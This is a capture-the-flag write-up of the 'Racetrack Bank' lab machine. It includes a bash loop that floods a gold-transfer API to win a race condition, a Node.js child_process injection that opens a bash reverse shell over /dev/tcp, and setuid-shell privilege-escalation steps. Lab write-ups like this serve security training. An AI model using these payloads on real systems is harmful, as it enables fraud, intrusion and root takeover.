Contents

Racetrack Bank

It’s time for another heist.

Difficulty: Hard

Room: Racetrack Bank

Created by: deltatemporal

root
Apparently my way to root was unintended and has since been patched. It did seem a little too easy so it didn’t really surprise me. I thought about redoing the privesc but 0day was nice enough to share his privesc notes for manageaccounts. Thanks 0day!

Enumeration

nmap

Standard nmap scan

nmap -sC -sC -vv -oA $IP $IP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 51:91:53:a5:af:1a:5a:78:67:62:ae:d6:37:a0:8e:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnwgBjCjyJ+aWd6heYTvHySh7tEBlAO3Jv/wzZZe1Qo0dj4ZLzGohKkWBfsqH3zXqQn+nWOXKjLNMlGSfPmSNVtY5vWa+SNHZIkvyILsv0NgoPwU4QB4TVP5DCGiz6tBYk92j26vLmP0kxD+sd7KNmmRHnjrVd8WhWhjGCzcGUte5tAnxNGHZUPyX9o6m0LsbC1goWrQSyJ6dGFtausj5IzVGA9wO+vJD577KMy74QvLywLEe8KkNsjbejBphFsmz849OE9fq0Y+cfZbIdYQtQCD0ARC5SCluZ+c8BUB3G+c7ZanGyIzWV695dKYR/dru7/ElBT9xkwMlNZf2giNv
|   256 c1:70:72:cc:82:c3:f3:3e:5e:0a:6a:05:4e:f0:4c:3c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKgVewqlT05Af1S9+0VideqdvN07wONAqm8iHSiQ/9mD3WS6uAeJzdfz8uX328uXfpaynISu12WuBQkki+1iYQY=
|   256 a2:ea:53:7c:e1:d7:60:bc:d3:92:08:a9:9d:20:6b:7d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHg5lLniSCVt74z0uR1M/dCYjDnVWT8PdHCIJjk5eH5J
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Racetrack Bank

The inital scan shows 22 and 80 open. There’s a webpage which looks like we can login or create an account. Let’s create an account and poke around before trying for SQLi or doing some more enumeration with gobuster.

/images/racetrackbank/1.png
index

Wappalyzer tells us the website runs with the express node.js framework… interesting.

/images/racetrackbank/2.png
wappalyzer

Wow how nice. They gave us 1 gold. It looks like we’ll need some more gold to obtain a Premium Account. The box name could hint at a race condition. It also looks like they gave us the ability to Give Gold. Let’s create another account to validate this functionality works and we’re not being trolled.

/images/racetrackbank/3.png

Nice! It looks like we can share with our second user.

/images/racetrackbank/4.png

Exploit

Gold

Intercept the gold transfer request with Burp then copy the request as a curl command.

Right click in the whitespace in Repeater > Copy as curl command

I stripped out some of the unnecessary parts of the request. I probably could’ve slimmed it down more but this worked.

You’ll need to send some gold back to the sending account periodically and rerun the script. Feel free to change the sending amount as you go. I noticed when the sending account had around 500 gold I could send 5 gold increments and it went pretty fast. YMMV. Eg. --data-binary $'user=2&amount=5'

I’m sure this could be done with the requests python library so have at it!

1
2
3
4
5
6
7
8
#!/bin/bash
# Loop a curl request and make the request pretty much asyncronous by using &. sleep for .1 to give the server some breathing room.

for i in {1..10000}; do sleep .1; curl -i -s -k -X $'POST' \
    -H $'Host: 10.10.89.241' -H $'Referer: http://10.10.89.241/giving.html' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -H $'Cookie: connect.sid=s%3A5rmhsyipvbS2nUjEaJOqeYgLtiCUpZPe.r3TBYkHlkGI1TNSirYr%2FIOAnZt5sF5g9m8w7jF2UGIM' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'s%3A5rmhsyipvbS2nUjEaJOqeYgLtiCUpZPe.r3TBYkHlkGI1TNSirYr%2FIOAnZt5sF5g9m8w7jF2UGIM' \
    --data-binary $'user=2&amount=1' \
    $'http://10.10.89.241/api/givegold' & done
/images/racetrackbank/curl.png

Premium Features

Now that we have enough gold in our 2nd account let’s purchase a Premium Account. It looks like just a calculator. Trying some commands doesn’t result in any command execution.

/images/racetrackbank/5.png

Let’s send this to Burp’s repeater. /images/racetrackbank/6.png

Shell

Lets setup a netcat listener and try getting a bash reverse shell by leveraging a child process.

calculation=require('child_process').exec('bash+-c+"bash+-i+>%26+/dev/tcp/IP/PORT+0>%261"') /images/racetrackbank/7.png

https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback child_process.exec(command[, options][, callback])

We have a shell. Let’s get the user flag.

/images/racetrackbank/8.png

user.txt

Looks like we don’t need to hunt for it. It’s in brian’s home directory.

/images/racetrackbank/9.png

root.txt

From 0day

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Open the file using: ./manageaccounts /home/brian/cleanup/cleanupscript.sh
Type chmown q, pressing enter after each letter
...
Letter By Letter:

then:

c
h
o
w
n
Note:
root:root
Enter:
q

"wait until cron runs for root:root"

c
h
m
o
d
Note: 
+s
Enter:
q

mv /bin/sh to box 

mv sh q


~/cleanup/./q -p

cat /root/root.txt